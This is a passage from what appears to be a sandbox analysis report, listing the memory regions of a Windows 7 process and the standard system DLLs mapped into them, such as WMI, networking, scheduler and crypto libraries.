mapped_file name = "repdrvfs.dll" filename = "\\Windows\\System32\\wbem\\repdrvfs.dll" (normalized: "c:\\windows\\system32\\wbem\\repdrvfs.dll") Region: id = 744 start_va = 0x7fef5d00000 end_va = 0x7fef5d25fff entry_point = 0x7fef5d00000 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll") Region: id = 745 start_va = 0x7fef5d30000 end_va = 0x7fef5d9afff entry_point = 0x7fef5d30000 region_type = mapped_file name = "hnetcfg.dll" filename = "\\Windows\\System32\\hnetcfg.dll" (normalized: "c:\\windows\\system32\\hnetcfg.dll") Region: id = 746 start_va = 0x7fef5da0000 end_va = 0x7fef5db8fff entry_point = 0x7fef5da0000 region_type = mapped_file name = "resutils.dll" filename = "\\Windows\\System32\\resutils.dll" (normalized: "c:\\windows\\system32\\resutils.dll") Region: id = 747 start_va = 0x7fef5dc0000 end_va = 0x7fef5e0ffff entry_point = 0x7fef5dc0000 region_type = mapped_file name = "clusapi.dll" filename = "\\Windows\\System32\\clusapi.dll" (normalized: "c:\\windows\\system32\\clusapi.dll") Region: id = 748 start_va = 0x7fef5e10000 end_va = 0x7fef5e23fff entry_point = 0x7fef5e10000 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 749 start_va = 0x7fef5e30000 end_va = 0x7fef5e9efff entry_point = 0x7fef5e30000 region_type = mapped_file name = "esscli.dll" filename = "\\Windows\\System32\\wbem\\esscli.dll" (normalized: "c:\\windows\\system32\\wbem\\esscli.dll") Region: id = 750 start_va = 0x7fef5ea0000 end_va = 0x7fef5fcefff entry_point = 0x7fef5ea0000 region_type = mapped_file name = "wbemcore.dll" filename = "\\Windows\\System32\\wbem\\wbemcore.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemcore.dll") Region: id = 751 start_va = 0x7fef5fd0000 end_va = 0x7fef5fe9fff entry_point = 0x7fef5fd0000 region_type = mapped_file name = "nci.dll" filename = "\\Windows\\System32\\nci.dll" (normalized: "c:\\windows\\system32\\nci.dll") Region: id = 752 start_va = 0x7fef5ff0000 end_va = 0x7fef6063fff entry_point = 0x7fef5ff0000 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 753 start_va = 0x7fef6070000 end_va = 0x7fef60f3fff entry_point = 0x7fef6070000 region_type = mapped_file name = "netcfgx.dll" filename = "\\Windows\\System32\\netcfgx.dll" (normalized: "c:\\windows\\system32\\netcfgx.dll") Region: id = 754 start_va = 0x7fef6300000 end_va = 0x7fef6324fff entry_point = 0x7fef6300000 region_type = mapped_file name = "browser.dll" filename = "\\Windows\\System32\\browser.dll" (normalized: "c:\\windows\\system32\\browser.dll") Region: id = 755 start_va = 0x7fef6330000 end_va = 0x7fef636cfff entry_point = 0x7fef6330000 region_type = mapped_file name = "srvsvc.dll" filename = "\\Windows\\System32\\srvsvc.dll" (normalized: "c:\\windows\\system32\\srvsvc.dll") Region: id = 756 start_va = 0x7fef6370000 end_va = 0x7fef6396fff entry_point = 0x7fef6370000 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll") Region: id = 757 start_va = 0x7fef63a0000 end_va = 0x7fef6481fff entry_point = 0x7fef63a0000 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 758 start_va = 0x7fef64d0000 end_va = 0x7fef6516fff entry_point = 0x7fef64d0000 region_type = mapped_file name = "wdscore.dll" filename = "\\Windows\\System32\\wdscore.dll" (normalized: "c:\\windows\\system32\\wdscore.dll") Region: id = 759 start_va = 0x7fef6520000 end_va = 0x7fef6561fff entry_point = 0x7fef6520000 region_type = mapped_file name = "sqmapi.dll" filename = "\\Windows\\System32\\sqmapi.dll" (normalized: "c:\\windows\\system32\\sqmapi.dll") Region: id = 760 start_va = 0x7fef6570000 end_va = 0x7fef6580fff entry_point = 0x7fef6570000 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll") Region: id = 761 start_va = 0x7fef6590000 end_va = 0x7fef6621fff entry_point = 0x7fef6590000 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 762 start_va = 0x7fef73c0000 end_va = 0x7fef73d6fff entry_point = 0x7fef73c0000 region_type = mapped_file name = "vsstrace.dll" filename = "\\Windows\\System32\\vsstrace.dll" (normalized: "c:\\windows\\system32\\vsstrace.dll") Region: id = 763 start_va = 0x7fef73e0000 end_va = 0x7fef758ffff entry_point = 0x7fef73e0000 region_type = mapped_file name = "vssapi.dll" filename = "\\Windows\\System32\\vssapi.dll" (normalized: "c:\\windows\\system32\\vssapi.dll") Region: id = 764 start_va = 0x7fef8120000 end_va = 0x7fef8128fff entry_point = 0x7fef8120000 region_type = mapped_file name = "tschannel.dll" filename = "\\Windows\\System32\\TSChannel.dll" (normalized: "c:\\windows\\system32\\tschannel.dll") Region: id = 765 start_va = 0x7fef8940000 end_va = 0x7fef8959fff entry_point = 0x7fef8940000 region_type = mapped_file name = "rascfg.dll" filename = "\\Windows\\System32\\rascfg.dll" (normalized: "c:\\windows\\system32\\rascfg.dll") Region: id = 766 start_va = 0x7fef8f60000 end_va = 0x7fef904dfff entry_point = 0x7fef8f60000 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\System32\\actxprxy.dll" (normalized: "c:\\windows\\system32\\actxprxy.dll") Region: id = 767 start_va = 0x7fef92e0000 end_va = 0x7fef92f5fff entry_point = 0x7fef92e0000 region_type = mapped_file name = "ncprov.dll" filename = "\\Windows\\System32\\wbem\\NCProv.dll" (normalized: "c:\\windows\\system32\\wbem\\ncprov.dll") Region: id = 768 start_va = 0x7fef9340000 end_va = 0x7fef934efff entry_point = 0x7fef9340000 region_type = mapped_file name = "ndiscapcfg.dll" filename = "\\Windows\\System32\\ndiscapCfg.dll" (normalized: "c:\\windows\\system32\\ndiscapcfg.dll") Region: id = 769 start_va = 0x7fef93c0000 end_va = 0x7fef9436fff entry_point = 0x7fef93c0000 region_type = mapped_file name = "taskcomp.dll" filename = "\\Windows\\System32\\taskcomp.dll" (normalized: "c:\\windows\\system32\\taskcomp.dll") Region: id = 770 start_va = 0x7fef9440000 end_va = 0x7fef9449fff entry_point = 0x7fef9440000 region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 771 start_va = 0x7fef9450000 end_va = 0x7fef9561fff entry_point = 0x7fef9450000 region_type = mapped_file name = "schedsvc.dll" filename = "\\Windows\\System32\\schedsvc.dll" (normalized: "c:\\windows\\system32\\schedsvc.dll") Region: id = 772 start_va = 0x7fef9570000 end_va = 0x7fef957efff entry_point = 0x7fef9570000 region_type = mapped_file name = "wiarpc.dll" filename = "\\Windows\\System32\\wiarpc.dll" (normalized: "c:\\windows\\system32\\wiarpc.dll") Region: id = 773 start_va = 0x7fef9580000 end_va = 0x7fef9588fff entry_point = 0x7fef9580000 region_type = mapped_file name = "fvecerts.dll" filename = "\\Windows\\System32\\fvecerts.dll" (normalized: "c:\\windows\\system32\\fvecerts.dll") Region: id = 774 start_va = 0x7fef9590000 end_va = 0x7fef9598fff entry_point = 0x7fef9590000 region_type = mapped_file name = "tbs.dll" filename = "\\Windows\\System32\\tbs.dll" (normalized: "c:\\windows\\system32\\tbs.dll") Region: id = 775 start_va = 0x7fef95a0000 end_va = 0x7fef95f5fff entry_point = 0x7fef95a0000 region_type = mapped_file name = "fveapi.dll" filename = "\\Windows\\System32\\fveapi.dll" (normalized: "c:\\windows\\system32\\fveapi.dll") Region: id = 776 start_va = 0x7fef9600000 end_va = 0x7fef965dfff entry_point = 0x7fef9600000 region_type = mapped_file name = "shsvcs.dll" filename = "\\Windows\\System32\\shsvcs.dll" (normalized: "c:\\windows\\system32\\shsvcs.dll") Region: id = 777 start_va = 0x7fef9660000 end_va = 0x7fef9677fff entry_point = 0x7fef9660000 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 778 start_va = 0x7fef9680000 end_va = 0x7fef9690fff entry_point = 0x7fef9680000 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 779 start_va = 0x7fef96b0000 end_va = 0x7fef9702fff entry_point = 0x7fef96b0000 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 780 start_va = 0x7fefb650000 end_va = 0x7fefb663fff entry_point = 0x7fefb650000 region_type = mapped_file name = "sens.dll" filename = "\\Windows\\System32\\Sens.dll" (normalized: "c:\\windows\\system32\\sens.dll") Region: id = 781 start_va = 0x7fefb670000 end_va = 0x7fefb67afff entry_point = 0x7fefb670000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 782 start_va = 0x7fefb680000 end_va = 0x7fefb6a6fff entry_point = 0x7fefb680000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 783 start_va = 0x7fefb6b0000 end_va = 0x7fefb716fff entry_point = 0x7fefb6b0000 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 784 start_va = 0x7fefb730000 end_va = 0x7fefb73afff entry_point = 0x7fefb730000 region_type = mapped_file name = "slc.dll" filename = "\\Windows\\System32\\slc.dll" (normalized: "c:\\windows\\system32\\slc.dll") Region: id = 785 start_va = 0x7fefb740000 end_va = 0x7fefb74bfff entry_point = 0x7fefb740000 region_type = mapped_file name = "dsrole.dll" filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll") Region: id = 786 start_va = 0x7fefb750000 end_va = 0x7fefb75ffff entry_point = 0x7fefb750000 region_type = mapped_file name = "themeservice.dll" filename = "\\Windows\\System32\\themeservice.dll" (normalized: "c:\\windows\\system32\\themeservice.dll") Region: id = 787 start_va = 0x7fefb760000 end_va = 0x7fefb778fff entry_point = 0x7fefb760000 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 788 start_va = 0x7fefb780000 end_va = 0x7fefb7b6fff entry_point = 0x7fefb780000 region_type = mapped_file name = "profsvc.dll" filename = "\\Windows\\System32\\profsvc.dll" (normalized: "c:\\windows\\system32\\profsvc.dll") Region: id = 789 start_va = 0x7fefb800000 end_va = 0x7fefb814fff entry_point = 0x7fefb800000 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 790 start_va = 0x7fefb820000 end_va = 0x7fefb8e1fff entry_point = 0x7fefb820000 region_type = mapped_file name = "gpsvc.dll" filename = "\\Windows\\System32\\gpsvc.dll" (normalized: "c:\\windows\\system32\\gpsvc.dll") Region: id = 791 start_va = 0x7fefbb00000 end_va = 0x7fefbb2cfff entry_point = 0x7fefbb00000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 792 start_va = 0x7fefbb30000 end_va = 0x7fefbb4cfff entry_point = 0x7fefbb30000 region_type = mapped_file name = "mmcss.dll" filename = "\\Windows\\System32\\mmcss.dll" (normalized: "c:\\windows\\system32\\mmcss.dll") Region: id = 793 start_va = 0x7fefbb50000 end_va = 0x7fefbb58fff entry_point = 0x7fefbb50000 region_type = mapped_file name = "avrt.dll" filename = "\\Windows\\System32\\avrt.dll" (normalized: "c:\\windows\\system32\\avrt.dll") Region: id = 794 start_va = 0x7fefbc10000 end_va = 0x7fefbc17fff entry_point = 0x7fefbc10000 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 795 start_va = 0x7fefbcd0000 end_va = 0x7fefbd55fff entry_point = 0x7fefbcd0000 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 796 start_va = 0x7fefbd60000 end_va = 0x7fefbd73fff entry_point = 0x7fefbd60000 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll") Region: id = 797 start_va = 0x7fefbd80000 end_va = 0x7fefbd94fff entry_point = 0x7fefbd80000 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 798 start_va = 0x7fefbda0000 end_va = 0x7fefbdabfff entry_point = 0x7fefbda0000 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 799 start_va = 0x7fefbdb0000 end_va = 0x7fefbdc5fff entry_point = 0x7fefbdb0000 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 800 start_va = 0x7fefbdd0000 end_va = 0x7fefbdd7fff entry_point = 0x7fefbdd0000 region_type = mapped_file name = "sscore.dll" filename = "\\Windows\\System32\\sscore.dll" (normalized: "c:\\windows\\system32\\sscore.dll") Region: id = 801 start_va = 0x7fefbe30000 end_va = 0x7fefbe6ffff entry_point = 0x7fefbe30000 region_type = mapped_file name = "wmisvc.dll" filename = "\\Windows\\System32\\wbem\\WMIsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wmisvc.dll") Region: id = 802 start_va = 0x7fefbee0000 end_va = 0x7fefbef0fff entry_point = 0x7fefbee0000 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 803 start_va = 0x7fefbf00000 end_va = 0x7fefbf0efff entry_point = 0x7fefbf00000 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 804 start_va = 0x7fefc040000 end_va = 0x7fefc074fff entry_point = 0x7fefc040000 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 805 start_va = 0x7fefc4b0000 end_va = 0x7fefc505fff entry_point = 0x7fefc4b0000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 806 start_va = 0x7fefc510000 end_va = 0x7fefc63bfff entry_point = 0x7fefc510000 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 807 start_va = 0x7fefc640000 end_va = 0x7fefc65cfff entry_point = 0x7fefc640000 region_type = mapped_file name = "samlib.dll" filename = "\\Windows\\System32\\samlib.dll" (normalized: "c:\\windows\\system32\\samlib.dll") Region: id = 808 start_va = 0x7fefc690000 end_va = 0x7fefc883fff entry_point = 0x7fefc690000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 809 start_va = 0x7fefcd50000 end_va = 0x7fefcd5bfff entry_point = 0x7fefcd50000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 810 start_va = 0x7fefcd60000 end_va = 0x7fefce1afff entry_point = 0x7fefcd60000 region_type = mapped_file name = "firewallapi.dll" filename = "\\Windows\\System32\\FirewallAPI.dll" (normalized: "c:\\windows\\system32\\firewallapi.dll") Region: id = 811 start_va = 0x7fefce20000 end_va = 0x7fefce26fff entry_point = 0x7fefce20000 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 812 start_va = 0x7fefcf10000 end_va = 0x7fefcf2afff entry_point = 0x7fefcf10000 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 813 start_va = 0x7fefcf30000 end_va = 0x7fefcf4dfff entry_point = 0x7fefcf30000 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 814 start_va = 0x7fefcf50000 end_va = 0x7fefcf61fff entry_point = 0x7fefcf50000 region_type = mapped_file name = "devrtl.dll" filename = "\\Windows\\System32\\devrtl.dll" (normalized: "c:\\windows\\system32\\devrtl.dll") Region: id = 815 start_va = 0x7fefcf70000 end_va = 0x7fefcf8efff entry_point = 0x7fefcf70000 region_type = mapped_file name = "spinf.dll" filename = "\\Windows\\System32\\SPInf.dll" (normalized: "c:\\windows\\system32\\spinf.dll") Region: id = 816 start_va = 0x7fefd040000 end_va = 0x7fefd078fff entry_point = 0x7fefd040000 region_type = mapped_file name = "ubpm.dll" filename = "\\Windows\\System32\\ubpm.dll" (normalized: "c:\\windows\\system32\\ubpm.dll") Region: id = 817 start_va = 0x7fefd080000 end_va = 0x7fefd089fff entry_point = 0x7fefd080000 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 818 start_va = 0x7fefd090000 end_va = 0x7fefd09cfff entry_point = 0x7fefd090000 region_type = mapped_file name = "pcwum.dll" filename = "\\Windows\\System32\\pcwum.dll" (normalized: "c:\\windows\\system32\\pcwum.dll") Region: id = 819 start_va = 0x7fefd180000 end_va = 0x7fefd1c6fff entry_point = 0x7fefd180000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 820 start_va = 0x7fefd270000 end_va = 0x7fefd29ffff entry_point = 0x7fefd270000 region_type = mapped_file name = "logoncli.dll" filename = "\\Windows\\System32\\logoncli.dll" (normalized: "c:\\windows\\system32\\logoncli.dll") Region: id = 821 start_va = 0x7fefd2a0000 end_va = 0x7fefd2fafff entry_point = 0x7fefd2a0000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 822 start_va = 0x7fefd410000 end_va = 0x7fefd416fff entry_point = 0x7fefd410000 region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 823 start_va = 0x7fefd420000 end_va = 0x7fefd474fff entry_point = 0x7fefd420000 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 824 start_va = 0x7fefd480000 end_va = 0x7fefd496fff entry_point = 0x7fefd480000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 825 start_va = 0x7fefd590000 end_va = 0x7fefd5c1fff entry_point = 0x7fefd590000 region_type = mapped_file name = "netjoin.dll" filename = "\\Windows\\System32\\netjoin.dll" (normalized: "c:\\windows\\system32\\netjoin.dll") Region: id = 826 start_va = 0x7fefd5e0000 end_va = 0x7fefd5e9fff entry_point = 0x7fefd5e0000 region_type = mapped_file name = "sysntfy.dll" filename = "\\Windows\\System32\\sysntfy.dll" (normalized: "c:\\windows\\system32\\sysntfy.dll") Region: id = 827 start_va = 0x7fefd670000 end_va = 0x7fefd69efff entry_point = 0x7fefd670000 region_type = mapped_file name = "authz.dll" filename = "\\Windows\\System32\\authz.dll" (normalized: "c:\\windows\\system32\\authz.dll") Region: id = 828 start_va = 0x7fefd6b0000 end_va = 0x7fefd71cfff entry_point = 0x7fefd6b0000 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 829 start_va = 0x7fefd720000 end_va = 0x7fefd733fff entry_point = 0x7fefd720000 region_type = mapped_file name = "cryptdll.dll" filename = "\\Windows\\System32\\cryptdll.dll" (normalized: "c:\\windows\\system32\\cryptdll.dll") Region: id = 830 start_va = 0x7fefd980000 end_va = 0x7fefd9a2fff entry_point = 0x7fefd980000 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 831 start_va = 0x7fefda20000 end_va = 0x7fefda2afff entry_point = 0x7fefda20000 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 832 start_va = 0x7fefda50000 end_va = 0x7fefda74fff entry_point = 0x7fefda50000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 833 start_va = 0x7fefda80000 end_va = 0x7fefda8efff entry_point = 0x7fefda80000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 834 start_va = 0x7fefda90000 end_va = 0x7fefdb20fff entry_point = 0x7fefda90000 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 835 start_va = 0x7fefdb30000 end_va = 0x7fefdb6cfff entry_point = 0x7fefdb30000 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 836 start_va = 0x7fefdb70000 end_va = 0x7fefdb83fff entry_point = 0x7fefdb70000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 837 start_va = 0x7fefdb90000 end_va = 0x7fefdb9efff entry_point = 0x7fefdb90000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 838 start_va = 0x7fefdc30000 end_va = 0x7fefdc3efff entry_point = 0x7fefdc30000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 839 start_va = 0x7fefdce0000 end_va = 0x7fefdd15fff entry_point = 0x7fefdce0000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 840 start_va = 0x7fefdd20000 end_va = 0x7fefdd59fff entry_point = 0x7fefdd20000 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 841 start_va = 0x7fefdd60000 end_va = 0x7fefddcafff entry_point = 0x7fefdd60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 842 start_va = 0x7fefddd0000 end_va = 0x7fefdde9fff entry_point = 0x7fefddd0000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 843 start_va = 0x7fefddf0000 end_va = 0x7fefdf56fff entry_point = 0x7fefddf0000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 844 start_va = 0x7fefdf60000 end_va = 0x7fefdfc6fff entry_point = 0x7fefdf60000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 845 start_va = 0x7fefdfd0000 end_va = 0x7fefed57fff entry_point = 0x7fefdfd0000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 846 start_va = 0x7fefed60000 end_va = 0x7fefed8dfff entry_point = 0x7fefed60000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 847 start_va = 0x7fefee30000 end_va = 0x7fefee7cfff entry_point = 0x7fefee30000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 848 start_va = 0x7feff0e0000 end_va = 0x7feff1bafff entry_point = 0x7feff0e0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 849 start_va = 0x7feff1c0000 end_va = 0x7feff1defff entry_point = 0x7feff1c0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 850 start_va = 0x7feff1e0000 end_va = 0x7feff2e8fff entry_point = 0x7feff1e0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 851 start_va = 0x7feff2f0000 end_va = 0x7feff4c6fff entry_point = 0x7feff2f0000 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 852 start_va = 0x7feff4d0000 end_va = 0x7feff598fff entry_point = 0x7feff4d0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 853 start_va = 0x7feff5a0000 end_va = 0x7feff63efff entry_point = 0x7feff5a0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 854 start_va = 0x7feff640000 end_va = 0x7feff6b0fff entry_point = 0x7feff640000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 855 start_va = 0x7feff860000 end_va = 0x7feff86dfff entry_point = 0x7feff860000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 856 start_va = 0x7feff9a0000 end_va = 0x7feffa38fff entry_point = 0x7feff9a0000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 857 start_va = 0x7feffa40000 end_va = 0x7feffc42fff entry_point = 0x7feffa40000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 858 start_va = 0x7feffc50000 end_va = 0x7feffd7cfff entry_point = 0x7feffc50000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 859 start_va = 0x7feffd80000 end_va = 0x7feffe56fff entry_point = 0x7feffd80000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 860 start_va = 0x7feffe60000 end_va = 0x7feffeb1fff entry_point = 0x7feffe60000 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 861 start_va = 0x7feffec0000 end_va = 0x7feffec7fff entry_point = 0x7feffec0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 862 start_va = 0x7fefff60000 end_va = 0x7fefff60fff entry_point = 0x7fefff60000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 863 start_va = 0x7fffff5a000 end_va = 0x7fffff5bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff5a000" filename = "" Region: id = 864 start_va = 0x7fffff5c000 end_va = 0x7fffff5dfff entry_point = 